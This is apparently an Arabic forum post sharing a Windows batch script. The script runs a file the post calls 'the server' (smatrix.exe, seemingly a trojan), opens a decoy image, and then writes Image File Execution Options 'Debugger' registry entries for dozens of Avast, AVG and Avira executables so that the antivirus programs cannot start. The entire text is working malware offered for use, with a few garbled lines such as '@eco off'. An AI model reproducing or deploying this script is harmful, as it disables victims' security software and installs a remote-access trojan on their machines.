كود HTML:
@eco off
smatrix.exe
ss-2_04.jpg
#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashDisp.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswupdsv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashserv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashMaisv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ash***sv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashQuick.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthUpd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVASTSS.scr" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimpl.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashCmd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimp2.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashEnhcd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcfgex.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcmgr.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcsrvx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgdumpx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgemc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgfrw.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgiproxy.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnsx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgscanx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgtray.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgui.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgupd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixcfg.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avwsc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avupgsvc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avadmin.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
exit
لانتباه الى أن السرفر في هذه الحالة أسمه smatrix.exe والصورة أسمها ss-2_04.jpg
